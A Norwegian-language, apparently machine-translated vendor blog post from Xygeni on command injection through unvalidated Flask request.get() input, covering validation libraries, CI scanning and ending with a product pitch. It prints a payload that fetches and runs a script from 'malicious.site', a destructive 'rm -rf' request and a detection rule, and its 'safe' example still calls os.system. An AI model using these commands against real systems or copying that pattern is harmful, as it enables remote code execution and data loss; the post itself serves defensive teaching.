request.get - sanering av inndata - flaskesikkerhet

Stol aldri på en request.get() uten å rengjøre: Hvordan input dreper Flask-sikkerhet

Fellen er satt: Hvordan request.get() åpner døren

I 2023 distribuerte en fintech-oppstartsbedrift en intern Flask-basert dashboard som tillot DevOps-ansatte å utløse infrastrukturoppgaver eksternt. En av rutene brukte request.args.get("cmd") for å hente en skallkommando fra spørrestrengen og sende den direkte til et systemkall.

Dette virket trygt under antagelsen om at bare pålitelige brukere hadde tilgang til den interne dashboardPå grunn av en feilkonfigurert omvendt proxy ble imidlertid tjenesten eksponert offentlig i flere timer. I løpet av dette vinduet oppdaget automatiserte skannere endepunktet.

Angripere utnyttet det raskt ved hjelp av en utformet forespørsel som ?cmd=curl+http://malicious.site/evil.sh|sh, noe som resulterte i ekstern kodekjøring (RCE). Derfra fikk de tilgang til AWS-forekomstmetadata og legitimasjon, noe som førte til datautvinning og rettighetseskalering.

Dette var ikke et sofistikert angrep; det ble muliggjort utelukkende av uvaliderte input fra request.get(). Applikasjonen manglet autentisering, og det var ingen sanering av input. Enda verre, ingen statiske analyseverktøy flagget risikoen fordi teamet antok at appen var trygg på grunn av dens interne kontekst.

Denne artikkelen handler ikke om hvordan man kan utnytte slike feil. Hensikten er å hjelpe utviklere med å gjenkjenne dette usikre mønsteret, forstå risikoene og ta i bruk sikre kodepraksiser for å forhindre lignende hendelser.

Utnyttelse i aksjon: En Flask-app ødelagt av input

I denne delen viser vi frem en minimalistisk Flask-app som demonstrerer hvor raskt ting kan gå galt når forespørsel.get() brukes uten validering. Enkelheten i dette eksemplet understreker faren, selv noen få linjer med usikker kode kan utsette systemet ditt for alvorlige trusler.

Dette endepunktet tar en cmd parameteren fra forespørselen og sender den direkte til os.system (), slik at alle som har tilgang til endepunktet kan utføre vilkårlige systemkommandoer. Ingen inndatakontroller, ingen inndatarensing, ingen guardrailsDette er et skoleeksempel på hvordan man ikke skal håndtere brukerinndata.

forespørsel.hent

Uten validering på plass kan angripere utnytte dette ved å sende farlige skallkommandoer direkte i spørrestrengen. For eksempel en enkel forespørsel som curl 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' kunne slette kritiske mapper. Kommandoen utføres som den er, uten filtrering, noe som gir angriperen ekstern kjøring av kode (RCE) evner.

Den virkelige faren ligger i hvor stille denne sårbarheten går gjennom utviklingen. pipelines. Siden det ikke fantes noen statiske analyseverktøy konfigurert til å oppdage usikre mønstre som usaniterte forespørsel.get(), og fordi man trodde at endepunktet bare ble brukt internt, var det ingen som flagget problemet under kodegjennomgangen. Denne vanlige DevOps-blindsonen, å stole på interne miljøer og hoppe over validering for å øke hastigheten, tillot at en kritisk sårbarhet nådde produksjonsprosessen uoppdaget.

Der det hele går i stykker: Vanlige fallgruver for utviklere

Mange alvorlige sårbarheter i Flask-applikasjoner stammer ikke fra kompleks logikk, men fra enkle, gjentatte feil. Når utviklingshastighet prioriteres over sikkerhet, normaliseres visse risikable mønstre, ofte uten at utviklere innser de langsiktige konsekvensene.

Her er de vanligste feilene:

  • Ved hjelp av forespørsel.get() uten validering eller standardverdier
    Utviklere bruker ofte request.args.get() for raskt å trekke ut parametere fra en forespørsel. Uten standardinnstillinger eller validering fører dette til uforutsigbar oppførsel, for eksempel sending av none inn i logikk eller tillate rå brukerinndata i farlige operasjoner.
  • Stol på ekstern inndata uten kontroller
    Om inndataene kommer fra et offentlig skjema, en API-gateway eller en intern dashboard, må den behandles som upålitelig. Å anta at den er trygg bare fordi den er bak et VPN eller brukes av interne team er en kritisk feilvurdering.
  • Delegering av sikkerhet til tredjepartsbiblioteker uten å verifisere oppførsel
    Selv om biblioteker kan abstrahere funksjonalitet, bør man ikke blindt stole på at de håndhever sikkerhet. Forstå alltid hvordan de håndterer input, og pakk ekstern kode inn i valideringslagene dine når det er nødvendig.
  • Ingen typedefinisjoner eller inputvalidering i rutebehandlere
    Flask tillater dynamisk typing og fleksibel forespørselshåndtering, men dette kan raskt føre til feil eller injeksjonsfeil. Uten eksplisitt typehåndhevelse og skjemavalidering kan uventet input omgå logikk eller ødelegge nedstrømstjenester.

Disse feilene skyldes ofte presset om å bevege seg raskt, få en funksjon live eller en løsning distribuert. Men hver snarvei ødelegger sikkerheten til applikasjonen din. Sikker koding må være det viktigste. standard, ikke et unntak.

Hvorfor request.get() er risikabelt som standard

Med et blikk, forespørsel.get(), inkludert varianter som request.args.get() og forespørsel.skjema.get(), virker harmløst og praktisk. Men under denne enkelheten ligger en farlig antagelse: at innkommende data er pålitelige.

Denne antagelsen er feilaktig. Enten du bygger et offentlig API eller et internt verktøy, må klientinndata alltid behandles som upålitelig. Likevel, i mange utviklingsteam, spesielt når man jobber med mikrotjenester eller interne dashboards, det er en tendens til å hoppe over validering «fordi den er intern.» Denne tankegangen åpner døren for kritiske sårbarheter.

Hvorfor dette er risikabelt

  • Ingen typehåndhevelse: forespørsel.get() returnerer data som de er. Den validerer ikke type, format eller tilstedeværelsen av obligatoriske felt.
  • Stille feilHvis en nøkkel mangler, returneres den none, noe som ofte fører til utilsiktet atferd eller logiske feil nedstrøms.
  • Ingen filtreringDen verken fjerner eller renser skadelig inndata, noe som gjør appen din sårbar for injeksjonsangrep.

Illusjonen av intern sikkerhet

I miljøer med mye mikrotjenester eller verktøy bak VPN-er, er utviklere ofte avhengige av infrastrukturgrenser som sitt primære forsvar. Dette fører til en falsk følelse av sikkerhet. Feilkonfigurasjoner, lekket legitimasjon eller en eksponert tjeneste kan raskt gjøre «kun intern» til «offentlig utnyttbar». forespørsel.get() er ikke problemet; det er å blindt stole på det. Uten validering av input gir du angripere en direkte linje til applikasjonens logikk, og potensielt til infrastrukturen din.

Sikre flyten: Validere brukerinndata riktig

Hjørnesteinen i Flask-sikkerhet er enkel: aldri behandle inndata uten strukturert valideringAlle dataene applikasjonen din mottar, enten det er fra spørreparametere, skjemaer eller API-er, må behandles som upålitelige og grundig valideres før bruk.

Anbefalte biblioteker for inputvalidering

Pythons økosystem tilbyr flere modne biblioteker skreddersydd for å validere forespørselsdata:

  • marshmallow – Flott for å definere skjemaer og deserialisering av data.
  • Pydantisk – Kjent for typesikre modeller; mye brukt i FastAPI, men fungerer også bra i Flask.
  • WTForms – Ideell for skjemahåndtering og validering i tradisjonelle webapper.

Disse verktøyene gjør det enkelt å definere og håndheve strukturen, typene og begrensningene for brukerinndata.

Hva som skal valideres

  • TyperSørg for at heltall er heltall, strenger er strenger, og boolske verdier er boolske verdier.
  • Rekkevidder og lengderSett grenser for tall, og håndhev minimums- og maksimumslengder for strenger.
  • Obligatoriske feltKrever eksplisitt tilstedeværelsen av visse parametere.
  • OppskrifterBruk regulære uttrykk for å validere forventede formater som e-poster, tokener eller filnavn.

Eksempel med marshmallow:

				
					python
from marshmallow import Schema, fields, ValidationError

class CommandSchema(Schema):
    cmd = fields.String(required=True)

schema = CommandSchema()

@app.route('/run')
def run():
    try:
        args = schema.load(request.args)
        safe_cmd = sanitize_cmd(args['cmd'])  # whitelist-based sanitation
        os.system(safe_cmd)
    except ValidationError as e:
        return str(e), 400

				
			

Gjenbrukbare dekoratører for ren kode

Du kan opprette dekoratører for å bruke validering konsekvent på tvers av flere ruter:

				
					python
def validate_with(schema):
    def decorator(f):
        def wrapped(*args, **kwargs):
            try:
                validated = schema.load(request.args)
                return f(validated, *args, **kwargs)
            except ValidationError as e:
                return str(e), 400
        return wrapped
    return decorator

				
			

Bottom Line

Strukturert validering er ikke valgfritt; det er essensielt. Stol aldri på rå input, selv ikke i interne systemer. Bruk alltid skjemaer, sjekk alltid typer og formater, og rengjør alltid det du behandler.

DevSecOps-rettelser: Pipeline Security, Skift til venstre

Sikkerhet bør ikke starte i produksjon; den bør starte i det øyeblikket koden skrives. Dette er kjerneprinsippet bak «"Skift til venstre"-bevegelsen: fange opp sikkerhetsproblemer tidlig i utviklingssyklusen før de i det hele tatt når kjøretid.

Håndhev sikkerhet fra starten av Commit

For å effektivt fange opp risikabel bruk av request.get() og lignende mønstre, integrer sikkerhet direkte i CI/CD pipeline. Dette er hvordan:

  • Legg til SAST regler (Statisk applikasjonssikkerhetstesting) til arbeidsflyten din. Disse reglene kan oppdage farlig kode som usaniserte request.get()-kall som sendes til systemfunksjoner.
  • Automatiser sjekker ved hjelp av verktøy som Bandit, Semgrep eller tilpassede skript. Kjør dem som en del av GitHub Actions, GitLab CI eller Bitbucket. Pipelines.
  • Definer tilpassede policyer for å flagge usikre fremgangsmåter, som for eksempel bruk av request.args.get() uten validering.

Blokkfusjoner som introduserer risiko

Kode som ikke består valideringskontroller, skal ikke tillates å slås sammen. Forebygging av sårbarheter commits fra å bli sammenslått håndhever sikkerhetsdisiplin på tvers av team og bidrar til å skape en ansvarlighetskultur.

				
					jobs:
  secure-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run Bandit
        run: bandit -r app/ -ll

				
			

Ved å bygge inn automatisert sikkerhetsanalyse i din pipeline, fanger du opp problemer når de oppstår, ikke etter at de har blitt lansert. Dette reduserer risiko, sparer tid og hjelper team med å implementere Flask-apper med trygghet.

Ikke stol på pakken: Risiko fra tredjeparter

Samtidig som Tredjepartsbiblioteker kan øke produktiviteten, kan de også introdusere sikkerhetssårbarheter i stillhet, spesielt når det gjelder håndtering av input.

Reelle risikoer fra usikre pakker

Det har vært tilfeller der pålitelige biblioteker utførte usikre operasjoner i det skjulte, for eksempel å lese brukerinput ved hjelp av request.get() og sende det direkte inn i funksjoner som eval(), open() eller systemkommandoer. Disse feilene er ofte skjult bak lag med abstraksjoner, noe som gjør dem vanskeligere å oppdage under kodegjennomgang.

For eksempel brukte et verktøy som var ment å effektivisere filopplastinger usaniserte spørreparametere til å konstruere filstier, et mønster som inviterte til stigjennomgang og uautorisert filtilgang.

Transitive avhengigheter: Den skjulte trusselen

Selv om dine direkte avhengigheter er trygge, transitive avhengigheter kanskje ikke. Dette er pakker som bibliotekene dine er avhengige av, og de kan føre til risikabel atferd uten at du vet det. En mindre oppdatering av en avhengighet dypt inne i stacken din kan introdusere en usanitisert request.get()-bruk på steder du ikke kontrollerer. Denne risikoen mangedobles i mikrotjenester og interne verktøy som er sterkt avhengige av mindre nisjebiblioteker.

Hva å gjøre?

  • Revider avhengigheter regelmessig, inkludert transitive.
  • Bruk verktøy som pip-audit, Safety eller GitHub Dependabot for å skanne etter kjente sårbarheter.
  • Gjennomgå manuelt hvordan eksterne pakker håndterer brukerinndata, spesielt hvis de samhandler med ruter eller forespørselsparametere.

Aldri anta at en pakke, uansett hvor liten eller kjent, styrker sikkerheten din. standards. Valider alltid eksternt hentet inndata før det går inn i applikasjonslogikken din.

Utviklerhygiene: DevSecOps-utdanning og -kultur

Å bygge sikre applikasjoner handler ikke bare om verktøy; det handler om kultur. Team må internalisere sikkerhet som en del av sin utviklingsidentitet. Dette betyr å gjøre sikker koding, spesielt inputvalidering, til en ufravikelig del av enhver arbeidsflyt.

Gjør inndatavalidering til en del av kodegjennomganger

Enhver kodegjennomgang bør spørre:

  • Blir brukerinndata validert?
  • Er det skjemaer eller typekontroller på plass?
  • Blir rå input overført til logikk eller kommandoer?

Å oppmuntre til disse kontrollene under fagfellevurderinger fremmer en tankegang der sikkerhet er alles jobb, ikke bare sikkerhetsteamets.

Definer sikre kodingpolicyer for Flask API-er

Etabler interne retningslinjer som beskriver:

  • Hvordan håndtere forespørselsinndata (aldri stol på request.get() uten validering)
  • Når og hvordan du bruker biblioteker som Marshmallow eller Pydantic
  • Krav for bruk av dekoratører og skjemavalidering i ruter

Gjør disse retningslinjene til en del av onboarding og dokumentasjon.

Verktøy for å oppdage usikre mønstre

Bruk automatisering for å fange opp risikable mønstre tidlig og konsekvent:

  • Linters: Verktøy som flake8, pylint eller ruff kan utvides med programtillegg for å oppdage misbruk av request.get().
  • Pre-commit hooks: Skann automatisk etter farlige mønstre før koden er ferdig committed.
  • Statiske analysatorer: Verktøy som Bandit, Xygeni eller Semgrep kan flagge usikker inputhåndtering, manglende validering eller usikre dataflyter.

Bygg kulturen

Sikkerhet er ikke bare teknisk, det er atferdsmessig. Når validering er en selvfølge, når evalueringer prioriterer sikkerhet, og når verktøy håndhever standardautomatisk blir teamet ditt robust gjennom sin design.

Xygeni: Hvordan det forhindrer disse problemene

Xygeni bidrar til å lukke den døren fra det øyeblikket koden skrives. Det er en sikkerhetsautomatiseringsplattform som oppdager farlige mønstre, som usanitisert request.get()-bruk, så tidlig som den første commit.

Tidlig deteksjon gjennom design

Xygeni skanner hver commit og pull request for å identifisere usikker bruk av request.get() og lignende antimønstre. Den flagger tilfeller der input ikke valideres før den sendes til kritiske funksjoner som os.system, eval eller filoperasjoner.

Denne proaktive tilnærmingen sikrer at risikabel kode aldri stille når produksjon.

Blokker usikre sammenslåinger automatisk

Utover deteksjon lar Xygeni team håndheve retningslinjer som forhindrer at usikker kode slås sammen. Disse retningslinjene kan tilpasses, slik at organisasjoner kan definere hva som er akseptabelt og hva som ikke er basert på deres interne Flask-sikkerhet. standards.

mønster: "forespørsel\.args\.hent\(['\”]\w+['\”]\)"

betingelse: «brukes i os\.system eller open() eller exec()»

handling: "blokkere"

Sømløs CI/CD Integrasjon

Xygeni integreres uanstrengt med plattformer som:

Enten du bruker skybasert CI eller selvhostet pipelines, Xygeni passer inn i arbeidsflyten din uten avbrudd, og håndhever Flasks sikkerhetspolicyer konsekvent på tvers av hvert depot.

Ved å bygge inn sikkerhetskontroller direkte i utviklingen din pipelineXygeni sørger for at usikre mønstre blir oppdaget tidlig, raskt gjennomgått og rettet før de forårsaker skade.

Siste slag: Rengjør inndata eller bli kompromittert

Det er viktig å understreke: dette er ikke bare et sikkerhetsproblem med Flask. Kjerneproblemet er å stole på brukerinndata, uavhengig av rammeverk eller miljø.

Uvalidert input er en universell trusselvektor; det fører til ekstern kjøring av kode, datainnbrudd, eskalering av rettigheter og til slutt tap av kontroll over systemene dine. Derfor må validering behandles som en førsteklasses bekymring i alle utviklingsprosesser. Valider alt. Anta ingenting. Desinfiser alltid.

Validering er ikke valgfritt. Det er ikke noe som er «kjekt å ha». Det er en ikke-forhandlingsbar del av sikker programvareutvikling. Å ikke validere input er som å la inngangsdøren stå åpen i et farlig nabolag; noen vil til slutt komme inn.

Enten du bygger API-er for offentlig forbruk eller interne tjenester bak VPN-er, må input valideres og renses. Hver parameter, hvert skjemafelt, hver spørrestreng, alltid.

Beste praksis som er skissert i denne artikkelen, skjemabasert validering, statisk kodeanalyse, sikker pipelines, og kulturell hygiene, er avgjørende for å forsvare seg mot misbruk av request.get() og lignende usikre mønstre.

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken